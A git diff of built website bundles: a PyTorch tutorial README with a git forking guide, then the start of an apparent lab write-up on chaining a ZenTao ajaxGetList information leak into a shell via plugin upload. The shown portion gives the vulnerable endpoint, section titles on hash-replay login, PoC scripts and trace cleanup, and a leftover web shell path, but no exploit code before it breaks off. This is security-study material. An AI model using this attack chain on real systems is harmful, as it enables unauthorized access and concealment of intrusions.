s)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u5218\u6d0b"}),(0,s.jsx)(t.td,{children:"Datawhale\u6210\u5458\uff0c\u4e2d\u56fd\u79d1\u5b66\u9662\u6570\u5b66\u4e0e\u7cfb\u7edf\u79d1\u5b66\u7814\u7a76\u6240\u7814\u7a76\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://www.zhihu.com/people/ming-ren-19-34/asks",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u9648\u5b89\u4e1c"}),(0,s.jsx)(t.td,{children:"DataWhale\u6210\u5458\uff0c\u4e2d\u592e\u6c11\u65cf\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://andongblue.github.io/chenandong.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]})]})]}),"\n",(0,s.jsx)(t.p,{children:"\u6559\u7a0b\u8d21\u732e\u60c5\u51b5\uff08\u5df2\u4e0a\u7ebf\u8bfe\u7a0b\u5185\u5bb9\uff09\uff1a"}),"\n",(0,s.jsx)(t.p,{children:"\u674e\u5609\u9a90\uff1a\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u56db\u7ae0\uff1b\u7b2c\u4e94\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff1b\u5185\u5bb9\u6574\u5408"}),"\n",(0,s.jsx)(t.p,{children:"\u725b\u5fd7\u5eb7\uff1a\u7b2c\u4e00\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u516d\u7ae0\uff1b\u7b2c\u4e03\u7ae0\uff1b\u7b2c\u516b\u7ae0\uff0c\u7b2c\u4e5d\u7ae0\uff0c\u7b2c\u5341\u7ae0\uff1b\u6587\u6863\u90e8\u7f72"}),"\n",(0,s.jsx)(t.p,{children:"\u5218\u6d0b\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0"}),"\n",(0,s.jsx)(t.p,{children:"\u9648\u5b89\u4e1c\uff1a\u7b2c\u4e8c\u7ae0\uff1b\u7b2c\u4e09\u7ae0\uff1b\u7b2c\u4e03\u7ae0"}),"\n",(0,s.jsx)(t.h2,{id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5",children:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5"}),"\n",(0,s.jsxs)(t.p,{children:["\u90e8\u5206\u7ae0\u8282\u76f4\u64ad\u8bb2\u89e3\u8bf7\u89c2\u770bB\u7ad9\u56de\u653e\uff08\u6301\u7eed\u66f4\u65b0\uff09\uff1a",(0,s.jsx)(t.a,{href:"https://www.bilibili.com/video/BV1L44y1472Z",children:"https://www.bilibili.com/video/BV1L44y1472Z"})]}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsxs)(t.li,{children:["\n",(0,s.jsx)(t.p,{children:"\u8bfe\u7a0b\u7f16\u6392\uff1a\n\u6df1\u5165\u6d45\u51faPyTorch\u5206\u4e3a\u4e09\u4e2a\u9636\u6bb5\uff1aPyTorch\u6df1\u5ea6\u5b66\u4e60\u57fa\u7840\u77e5\u8bc6\u3001PyTorch\u8fdb\u9636\u64cd\u4f5c\u3001PyTorch\u6848\u4f8b\u5206\u6790\u3002"}),"\n"]}),"\n",(0,s.jsxs)(t.li,{children:["\n",(0,s.jsx)(t.p,{children:"\u4f7f\u7528\u65b9\u6cd5:"}),"\n",(0,s.jsx)(t.p,{children:"\u6211\u4eec\u7684\u8bfe\u7a0b\u5185\u5bb9\u90fd\u4ee5markdown\u683c\u5f0f\u6216jupyter notebook\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728\u672c\u4ed3\u5e93\u5185\u3002\u9664\u4e86\u591a\u770b\u52a0\u6df1\u8bfe\u7a0b\u5185\u5bb9\u7684\u7406\u89e3\u5916\uff0c\u6700\u91cd\u8981\u7684\u8fd8\u662f\u52a8\u624b\u7ec3\u4e60\u3001\u7ec3\u4e60\u3001\u7ec3\u4e60"}),"\n"]}),"\n",(0,s.jsxs)(t.li,{children:["\n",(0,s.jsx)(t.p,{children:"\u7ec4\u961f\u5b66\u4e60\u5b89\u6392:"}),"\n",(0,s.jsx)(t.p,{children:"\u7b2c\u4e00\u90e8\u5206\uff1a\u7b2c\u4e00\u7ae0\u5230\u7b2c\u56db\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a10\u5929\uff1b"}),"\n",(0,s.jsx)(t.p,{children:"\u7b2c\u4e8c\u90e8\u5206\uff1a\u7b2c\u4e94\u7ae0\u5230\u7b2c\u516b\u7ae0\uff0c\u5b66\u4e60\u5468\u671f\uff1a11\u5929"}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"\u4e94\u5173\u4e8e\u8d21\u732e",children:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e"}),"\n",(0,s.jsxs)(t.p,{children:["\u672c\u9879\u76ee\u4f7f\u7528",(0,s.jsx)(t.code,{children:"Forking"}),"\u5de5\u4f5c\u6d41\uff0c\u5177\u4f53\u53c2\u8003",(0,s.jsx)(t.a,{href:"https://www.atlassian.com/git/tutorials/comparing-workflows/forking-workflow",children:"atlassian\u6587\u6863"})]}),"\n",(0,s.jsx)(t.p,{children:"\u5927\u81f4\u6b65\u9aa4\u5982\u4e0b\uff1a"}),"\n",(0,s.jsxs)(t.ol,{children:["\n",(0,s.jsx)(t.li,{children:"\u5728GitHub\u4e0aFork\u672c\u4ed3\u5e93"}),"\n",(0,s.jsx)(t.li,{children:"Clone Fork\u540e\u7684\u4e2a\u4eba\u4ed3\u5e93"}),"\n",(0,s.jsxs)(t.li,{children:["\u8bbe\u7f6e",(0,s.jsx)(t.code,{children:"upstream"}),"\u4ed3\u5e93\u5730\u5740\uff0c\u5e76\u7981\u7528",(0,s.jsx)(t.code,{children:"push"})]}),"\n",(0,s.jsxs)(t.li,{children:["\u4f7f\u7528\u5206\u652f\u5f00\u53d1\uff0c\u8bfe\u7a0b\u5206\u652f\u540d\u4e3a",(0,s.jsx)(t.code,{children:"lecture{#NO}"}),"\uff0c",(0,s.jsx)(t.code,{children:"#NO"}),"\u4fdd\u6301\u4e24\u4f4d\uff0c\u5982",(0,s.jsx)(t.code,{children:"lecture07"}),"\uff0c\u5bf9\u5e94\u8bfe\u7a0b\u76ee\u5f55"]}),"\n",(0,s.jsx)(t.li,{children:"PR\u4e4b\u524d\u4fdd\u6301\u4e0e\u539f\u59cb\u4ed3\u5e93\u7684\u540c\u6b65\uff0c\u4e4b\u540e\u53d1\u8d77PR\u8bf7\u6c42"}),"\n"]}),"\n",(0,s.jsx)(t.p,{children:"\u547d\u4ee4\u793a\u4f8b\uff1a"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-shell",children:"# fork\n# clone\ngit clone git@github.com:USERNAME/thorough-pytorch.git\n# set upstream\ngit remote add upstream git@github.com:datawhalechina/thorough-pytorch.git\n# disable upstream push\ngit remote set-url --push upstream DISABLE\n# verify\ngit remote -v\n# some sample output:\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (fetch)\n# origin\tgit@github.com:NoFish-528/thorough-pytorch.git (push)\n# upstream\tgit@github.com:datawhalechina/thorough-pytorch.git (fetch)\n# upstream\tDISABLE (push)\n# do your work\ngit checkout -b lecture07\n# edit and commit and push your changes\ngit push -u origin lecture07\n# keep your fork up to date\n## fetch upstream main and merge with forked main branch\ngit fetch upstream\ngit checkout main\ngit merge upstream/main\n## rebase brach and force push\ngit checkout lecture07\ngit rebase main\ngit push -f\n"})}),"\n",(0,s.jsx)(t.h3,{id:"commit-message",children:"Commit Message"}),"\n",(0,s.jsxs)(t.p,{children:["\u63d0\u4ea4\u4fe1\u606f\u4f7f\u7528\u5982\u4e0b\u683c\u5f0f\uff1a",(0,s.jsx)(t.code,{children:"<type>: <short summary>"})]}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{children:"<type>: <short summary>\n \u2502 \u2502\n \u2502 \u2514\u2500\u2af8 Summary in present tense. Not capitalized. No period at the end.\n \u2502\n \u2514\u2500\u2af8 Commit Type: lecture{#NO}|others\n"})}),"\n",(0,s.jsxs)(t.p,{children:[(0,s.jsx)(t.code,{children:"others"}),"\u5305\u62ec\u975e\u8bfe\u7a0b\u76f8\u5173\u7684\u6539\u52a8\uff0c\u5982\u672c",(0,s.jsx)(t.code,{children:"README.md"}),"\u4e2d\u7684\u53d8\u52a8\uff0c",(0,s.jsx)(t.code,{children:".gitignore"}),"\u7684\u8c03\u6574\u7b49\u3002"]}),"\n",(0,s.jsx)(t.h2,{id:"\u516d\u66f4\u65b0\u8ba1\u5212",children:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u5185\u5bb9"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u66f4\u65b0\u65f6\u95f4"}),(0,s.jsx)(t.th,{style:{textAlign:"center"},children:"\u5185\u5bb9"})]})}),(0,s.jsxs)(t.tbody,{children:[(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"visdom\u53ef\u89c6\u5316"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsxs)(t.td,{style:{textAlign:"center"},children:[(0,s.jsx)(t.code,{children:"Visdom"}),"\u7684\u4f7f\u7528"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"apex"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"apex\u7684\u7b80\u4ecb\u548c\u4f7f\u7528"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u90e8\u7f72"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"Flask\u90e8\u7f72PyTorch\u6a21\u578b"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"TorchScript"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"TorchScript"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u5e76\u884c\u8bad\u7ec3"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u5e76\u884c\u8bad\u7ec3"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u6a21\u578b\u9884\u8bad\u7ec3 - torchhub"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.4.16"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"torchhub\u7684\u7b80\u4ecb\u548c\u4f7f\u7528\u65b9\u6cd5"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - SSD"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"SSD\u7684\u7b80\u4ecb\u548c\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - RCNN\u7cfb\u5217"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"Fast-RCNN & Mask-RCNN"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u76ee\u6807\u68c0\u6d4b - DETR"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"DETR\u7684\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GoogLeNet"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.5.11"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"GoogLeNet\u7684\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - MobileNet\u7cfb\u5217"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.4\u6708"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"MobileNet\u7cfb\u5217\u4ecb\u7ecd\u4e0e\u5b9e\u73b0"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u7c7b - GhostNet"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.4\u6708"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"GhostNet\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - \u751f\u6210\u624b\u5199\u6570\u5b57\u5b9e\u6218"}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2022.5.25"}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u751f\u6210\u6570\u5b57\u5e76\u53ef\u89c6\u5316"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u751f\u6210\u5f0f\u5bf9\u6297\u7f51\u7edc - DCGAN"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u98ce\u683c\u8fc1\u79fb - StyleGAN"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u751f\u6210\u7f51\u7edc - VAE"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u56fe\u50cf\u5206\u5272 Deeplab\u7cfb\u5217"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"Deeplab\u7cfb\u5217\u4ee3\u7801\u8bb2\u89e3"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 LSTM"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"LSTM\u60c5\u611f\u5206\u6790\u5b9e\u6218"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 Transformer"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u7136\u8bed\u8a00\u5904\u7406 BERT"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u89c6\u9891"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u97f3\u9891"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"},children:"\u5f85\u5b9a"})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"\u81ea\u5b9a\u4e49CUDA\u6269\u5c55\u548c\u7b97\u5b50"}),(0,s.jsx)(t.td,{style:{textAlign:"left"}}),(0,s.jsx)(t.td,{style:{textAlign:"center"}})]})]})]}),"\n",(0,s.jsx)(t.h2,{id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",children:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsxs)(t.li,{children:["\u975e\u5e38\u611f\u8c22DataWhale\u6210\u5458 \u53f6\u524d\u5764 @",(0,s.jsx)(t.a,{href:"https://github.com/PureBuckwheat",children:"PureBuckwheat"})," \u548c \u80e1\u9510\u950b @",(0,s.jsx)(t.a,{href:"https://github.com/Relph1119",children:"Relph1119"})," \u5bf9\u6587\u6863\u7684\u7ec6\u81f4\u6821\u5bf9\uff01"]}),"\n",(0,s.jsx)(t.li,{children:"\u5982\u679c\u6709\u4efb\u4f55\u60f3\u6cd5\u53ef\u4ee5\u8054\u7cfb\u6211\u4eecDataWhale\u4e5f\u6b22\u8fce\u5927\u5bb6\u591a\u591a\u63d0\u51faissue\u3002"}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"\u516b\u5173\u6ce8\u6211\u4eec",children:"\u516b\u3001\u5173\u6ce8\u6211\u4eec"}),"\n",(0,s.jsx)(t.div,{align:"center",children:(0,s.jsx)(t.img,{src:"https://raw.githubusercontent.com/datawhalechina/easy-rl/master/docs/res/qrcode.jpeg",width:"250",height:"270",alt:"Datawhale\u662f\u4e00\u4e2a\u4e13\u6ce8AI\u9886\u57df\u7684\u5f00\u6e90\u7ec4\u7ec7\uff0c\u4ee5\u201cfor the learner\uff0c\u548c\u5b66\u4e60\u8005\u4e00\u8d77\u6210\u957f\u201d\u4e3a\u613f\u666f\uff0c\u6784\u5efa\u5bf9\u5b66\u4e60\u8005\u6700\u6709\u4ef7\u503c\u7684\u5f00\u6e90\u5b66\u4e60\u793e\u533a\u3002\u5173\u6ce8\u6211\u4eec\uff0c\u4e00\u8d77\u5b66\u4e60\u6210\u957f\u3002"})}),"\n",(0,s.jsx)(t.h2,{id:"license",children:"LICENSE"}),"\n",(0,s.jsxs)(t.p,{children:[(0,s.jsx)(t.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:(0,s.jsx)(t.img,{alt:"\u77e5\u8bc6\u5171\u4eab\u8bb8\u53ef\u534f\u8bae",style:{borderWidth:"0"},src:"https://img.shields.io/badge/license-CC%20BY--NC--SA%204.0-lightgrey"})}),(0,s.jsx)(t.br,{}),"\u672c\u4f5c\u54c1\u91c7\u7528",(0,s.jsx)(t.a,{rel:"license",href:"http://creativecommons.org/licenses/by-nc-sa/4.0/",children:"\u77e5\u8bc6\u5171\u4eab\u7f72\u540d-\u975e\u5546\u4e1a\u6027\u4f7f\u7528-\u76f8\u540c\u65b9\u5f0f\u5171\u4eab 4.0 \u56fd\u9645\u8bb8\u53ef\u534f\u8bae"}),"\u8fdb\u884c\u8bb8\u53ef\u3002"]})]})}function o(e={}){const{wrapper:t}={...(0,i.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(x,{...e})}):x(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>r,x:()=>d});var l=n(96540);const s={},i=l.createContext(s);function r(e){const t=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),l.createElement(i.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/33a0cc41.5acbe357.js b/en/assets/js/33a0cc41.5acbe357.js new file mode 100644 index 0000000..9ca8c0c --- /dev/null +++ b/en/assets/js/33a0cc41.5acbe357.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4869],{151:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>d,contentTitle:()=>l,default:()=>p,frontMatter:()=>r,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","title":"\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/05.\u7985\u9053/01.chandao_ajaxGetList_flag_wp.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/05.\u7985\u9053","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7985\u9053/chandao_ajaxGetList_flag_wp","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/05.\u7985\u9053/01.chandao_ajaxGetList_flag_wp.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"CVE-2023-33979","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979"},"next":{"title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/"}}');var t=s(74848),i=s(28453);const r={},l="\u7985\u9053 action.ajaxGetList \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 /flag WP",d={},c=[{value:"0x01 \u73af\u5883\u4fe1\u606f",id:"0x01-\u73af\u5883\u4fe1\u606f",level:2},{value:"0x02 \u6f0f\u6d1e\u70b9\u5206\u6790",id:"0x02-\u6f0f\u6d1e\u70b9\u5206\u6790",level:2},{value:"0x03 \u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55",id:"0x03-\u4e3a\u4ec0\u4e48\u6cc4\u9732\u54c8\u5e0c\u53ef\u4ee5\u767b\u5f55",level:2},{value:"0x04 \u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20 Getshell \u601d\u8def",id:"0x04-\u540e\u53f0\u63d2\u4ef6\u4e0a\u4f20-getshell-\u601d\u8def",level:2},{value:"0x05 \u5236\u4f5c\u63d2\u4ef6 ZIP",id:"0x05-\u5236\u4f5c\u63d2\u4ef6-zip",level:2},{value:"0x06 \u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9",id:"0x06-\u4e0a\u4f20\u63d2\u4ef6\u7684\u5751\u70b9",level:2},{value:"0x07 \u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9",id:"0x07-\u5b89\u88c5\u63d2\u4ef6\u7684\u5751\u70b9",level:2},{value:"0x08 \u5b8c\u6574 Burp \u4ee3\u7406\u7248 PoC",id:"0x08-\u5b8c\u6574-burp-\u4ee3\u7406\u7248-poc",level:2},{value:"Bash + curl \u7248",id:"bash--curl-\u7248",level:3},{value:"Python requests \u7248",id:"python-requests-\u7248",level:3},{value:"0x09 Burp \u6293\u5305\u91cd\u70b9",id:"0x09-burp-\u6293\u5305\u91cd\u70b9",level:2},{value:"1. \u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2",id:"1-\u672a\u6388\u6743\u6cc4\u9732\u5386\u53f2",level:3},{value:"2. \u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570",id:"2-\u83b7\u53d6\u767b\u5f55\u968f\u673a\u6570",level:3},{value:"3. \u54c8\u5e0c\u91cd\u653e\u767b\u5f55",id:"3-\u54c8\u5e0c\u91cd\u653e\u767b\u5f55",level:3},{value:"4. \u4e0a\u4f20\u63d2\u4ef6 ZIP",id:"4-\u4e0a\u4f20\u63d2\u4ef6-zip",level:3},{value:"5. \u5b89\u88c5\u63d2\u4ef6",id:"5-\u5b89\u88c5\u63d2\u4ef6",level:3},{value:"6. \u8bfb\u53d6 flag",id:"6-\u8bfb\u53d6-flag",level:3},{value:"0x0a \u5229\u7528\u94fe\u603b\u7ed3",id:"0x0a-\u5229\u7528\u94fe\u603b\u7ed3",level:2},{value:"0x0b \u6e05\u7406\u75d5\u8ff9",id:"0x0b-\u6e05\u7406\u75d5\u8ff9",level:2}];function o(e){const n={blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsxs)(n.h1,{id:"\u7985\u9053-actionajaxgetlist-\u672a\u6388\u6743\u6cc4\u9732\u5230-getshell-\u8bfb\u53d6-flag-wp",children:["\u7985\u9053 ",(0,t.jsx)(n.code,{children:"action.ajaxGetList"})," \u672a\u6388\u6743\u6cc4\u9732\u5230 Getshell \u8bfb\u53d6 ",(0,t.jsx)(n.code,{children:"/flag"})," WP"]})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-08-28 19:22:45"})]})})]}),"\n",(0,t.jsx)(n.h2,{id:"0x01-\u73af\u5883\u4fe1\u606f",children:"0x01 \u73af\u5883\u4fe1\u606f"}),"\n",(0,t.jsx)(n.p,{children:"\u76ee\u6807\u662f\u7985\u9053\u7cfb\u7edf\uff0c\u5165\u53e3\u5f62\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=\u6a21\u5757\u540d&f=\u65b9\u6cd5\u540d\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u5f53\u524d\u91cd\u70b9\u63a5\u53e3\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"/index.php?m=action&f=ajaxGetList\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u672c\u5730\u9a8c\u8bc1\u73af\u5883\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"http://127.0.0.1:18088\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u679c\u662f\u8fdc\u7a0b\u9776\u673a\uff0c\u628a PoC \u91cc\u7684 ",(0,t.jsx)(n.code,{children:"BASE_URL"})," \u6539\u6210\u8fdc\u7a0b\u5730\u5740\u5373\u53ef\u3002"]}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u6ce8\u610f\uff1a\u73af\u5883\u91cc\u539f\u5148\u9057\u7559\u8fc7 ",(0,t.jsx)(n.code,{children:"/data/cmd.php"}),"\uff0c\u8fd9\u662f\u5386\u53f2 